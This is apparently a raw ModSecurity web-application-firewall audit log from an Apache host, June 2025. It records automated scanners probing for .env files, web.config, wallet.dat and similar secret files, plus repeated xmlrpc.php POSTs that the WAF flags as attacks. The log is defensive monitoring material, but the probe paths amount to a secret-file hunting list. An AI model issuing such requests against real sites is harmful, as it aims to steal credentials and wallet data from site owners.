"www.mindscan.edu.in"] [uri "/resources/.env"] [unique_id "aE8tzT3D4g1mGjVnV5KOHQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019533188318 661001 (- - -) Stopwatch2: 1750019533188318 661001; combined=1770, p1=386, p2=1281, p3=0, p4=0, p5=103, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09f4dc5b-Z-- --184bc73f-A-- [16/Jun/2025:02:02:44.761585 +0530] aE8t61fWRcme38U-qk7mbgAAAAI 128.199.112.101 60400 127.0.0.1 7081 --184bc73f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --184bc73f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --184bc73f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8t61fWRcme38U-qk7mbgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019563806004 955666 (- - -) Stopwatch2: 1750019563806004 955666; combined=2365, p1=382, p2=1519, p3=42, p4=71, p5=226, sr=98, sw=125, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --184bc73f-Z-- --4f066073-A-- [16/Jun/2025:02:03:32.811635 +0530] aE8uHM0RsCO0eBtdhx69TwAAAAg 185.177.72.210 51108 127.0.0.1 7081 --4f066073-B-- GET /:8008/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4f066073-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=56c43914644ae8b600d317b9d830067a1750019612; expires=Sun, 15 Jun 2025 21:33:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4f066073-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/konfig/.env"] [unique_id "aE8uHM0RsCO0eBtdhx69TwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019612094532 717167 (- - -) Stopwatch2: 1750019612094532 717167; combined=1890, p1=365, p2=1421, p3=0, p4=0, p5=104, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4f066073-Z-- --2fd31276-A-- [16/Jun/2025:02:03:36.825650 +0530] aE8uINxCjYf3vhjKXIttJQAAAA8 185.177.72.210 51366 127.0.0.1 7081 --2fd31276-B-- GET /mirror.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2fd31276-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d3415ea57e8b5f6030b0af79c8d4e4c51750019616; expires=Sun, 15 Jun 2025 21:33:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2fd31276-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/mirror.cfg"] [unique_id "aE8uINxCjYf3vhjKXIttJQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019616147416 678309 (- - -) Stopwatch2: 1750019616147416 678309; combined=1950, p1=313, p2=1532, p3=0, p4=0, p5=105, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2fd31276-Z-- --ef3f2e19-A-- [16/Jun/2025:02:03:37.811905 +0530] aE8uIYv0YhcYGG7mzIpkLgAAABU 185.177.72.210 51452 127.0.0.1 7081 --ef3f2e19-B-- GET /assets/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ef3f2e19-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=184c8d7adb2345f69422696c785b4f221750019617; expires=Sun, 15 Jun 2025 21:33:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ef3f2e19-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/assets/.env"] [unique_id "aE8uIYv0YhcYGG7mzIpkLgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019617157620 654366 (- - -) Stopwatch2: 1750019617157620 654366; combined=2115, p1=419, p2=1605, p3=0, p4=0, p5=91, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef3f2e19-Z-- --2206aa76-A-- [16/Jun/2025:02:03:44.589155 +0530] aE8uJ2BSQiWwwCa-v2QArQAAAAQ 128.199.112.101 55362 127.0.0.1 7081 --2206aa76-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2206aa76-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2206aa76-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8uJ2BSQiWwwCa-v2QArQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019623657992 931228 (- - -) Stopwatch2: 1750019623657992 931228; combined=2879, p1=476, p2=2034, p3=39, p4=65, p5=166, sr=129, sw=99, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2206aa76-Z-- --ea8d7f04-A-- [16/Jun/2025:02:03:44.643163 +0530] aE8uJ1fWRcme38U-qk7mjAAAAAI 185.177.72.210 55404 127.0.0.1 7081 --ea8d7f04-B-- GET /web.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ea8d7f04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0ed7629d9046b24e5ec2908b52e2d5a21750019624; expires=Sun, 15 Jun 2025 21:33:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ea8d7f04-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web.config"] [unique_id "aE8uJ1fWRcme38U-qk7mjAAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/web.config"] [unique_id "aE8uJ1fWRcme38U-qk7mjAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019623959306 683919 (- - -) Stopwatch2: 1750019623959306 683919; combined=2029, p1=376, p2=1518, p3=0, p4=0, p5=134, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea8d7f04-Z-- --99e9cc52-A-- [16/Jun/2025:02:03:45.655424 +0530] aE8uKIv0YhcYGG7mzIpkMgAAABU 185.177.72.210 55470 127.0.0.1 7081 --99e9cc52-B-- GET /st-js-be-2020-movies-two/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99e9cc52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f39436997fe97597fd45750a6304827b1750019625; expires=Sun, 15 Jun 2025 21:33:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99e9cc52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/st-js-be-2020-movies-two/.env"] [unique_id "aE8uKIv0YhcYGG7mzIpkMgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019624974683 680817 (- - -) Stopwatch2: 1750019624974683 680817; combined=1903, p1=384, p2=1420, p3=0, p4=0, p5=98, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99e9cc52-Z-- --c407f35f-A-- [16/Jun/2025:02:03:46.660642 +0530] aE8uKtxCjYf3vhjKXIttKwAAAA8 185.177.72.210 55526 127.0.0.1 7081 --c407f35f-B-- GET /wallet.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c407f35f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d67cca73558690fdfdb5c7c7aab8697d1750019626; expires=Sun, 15 Jun 2025 21:33:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c407f35f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wallet.dat"] [unique_id "aE8uKtxCjYf3vhjKXIttKwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019626000884 659834 (- - -) Stopwatch2: 1750019626000884 659834; combined=1691, p1=343, p2=1243, p3=0, p4=0, p5=105, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c407f35f-Z-- --fc13fb08-A-- [16/Jun/2025:02:03:48.679237 +0530] aE8uK0-pZ3B--SoGku82kAAAABE 185.177.72.210 55636 127.0.0.1 7081 --fc13fb08-B-- GET /:9000/backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fc13fb08-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=259420c7670f78ab9ef86ff75b693e001750019628; expires=Sun, 15 Jun 2025 21:33:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fc13fb08-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/backup/.env"] [unique_id "aE8uK0-pZ3B--SoGku82kAAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019627998937 680363 (- - -) Stopwatch2: 1750019627998937 680363; combined=1969, p1=383, p2=1486, p3=0, p4=0, p5=100, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc13fb08-Z-- --2aaf957c-A-- [16/Jun/2025:02:03:52.461645 +0530] aE8uLyHEjD4mqWjYVm11-wAAABM 185.177.72.210 45772 127.0.0.1 7081 --2aaf957c-B-- GET /private/private/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2aaf957c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9caf4e581c6a6d5ad9cf610a9b9d6e9e1750019632; expires=Sun, 15 Jun 2025 21:33:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2aaf957c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/private/.env.local"] [unique_id "aE8uLyHEjD4mqWjYVm11-wAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019631790677 671032 (- - -) Stopwatch2: 1750019631790677 671032; combined=1746, p1=383, p2=1271, p3=0, p4=0, p5=92, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2aaf957c-Z-- --19a0a210-A-- [16/Jun/2025:02:03:53.586122 +0530] aE8uMGBSQiWwwCa-v2QAswAAAAQ 185.177.72.210 45840 127.0.0.1 7081 --19a0a210-B-- GET /:10000/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --19a0a210-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a2fc9e45952c96e168f85fecbe8d05e1750019633; expires=Sun, 15 Jun 2025 21:33:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --19a0a210-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/storage/.env"] [unique_id "aE8uMGBSQiWwwCa-v2QAswAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019632793478 792719 (- - -) Stopwatch2: 1750019632793478 792719; combined=153162, p1=366, p2=1233, p3=0, p4=0, p5=75826, sr=87, sw=0, l=0, gc=75737 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --19a0a210-Z-- --c25e0071-A-- [16/Jun/2025:02:03:54.476319 +0530] aE8uMSHEjD4mqWjYVm11_AAAABM 185.177.72.210 45898 127.0.0.1 7081 --c25e0071-B-- GET /bitcoind/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c25e0071-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9becefa76f84cc2bb75b621c359afb6f1750019634; expires=Sun, 15 Jun 2025 21:33:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c25e0071-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bitcoind/.env"] [unique_id "aE8uMSHEjD4mqWjYVm11_AAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019633842286 634113 (- - -) Stopwatch2: 1750019633842286 634113; combined=2406, p1=422, p2=1874, p3=0, p4=0, p5=110, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c25e0071-Z-- --0cdce821-A-- [16/Jun/2025:02:04:44.937164 +0530] aE8uY0aRoH9PZO5fwRnhTgAAAAw 128.199.112.101 51412 127.0.0.1 7081 --0cdce821-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0cdce821-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0cdce821-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8uY0aRoH9PZO5fwRnhTgAAAAw"] Apache-Handler: 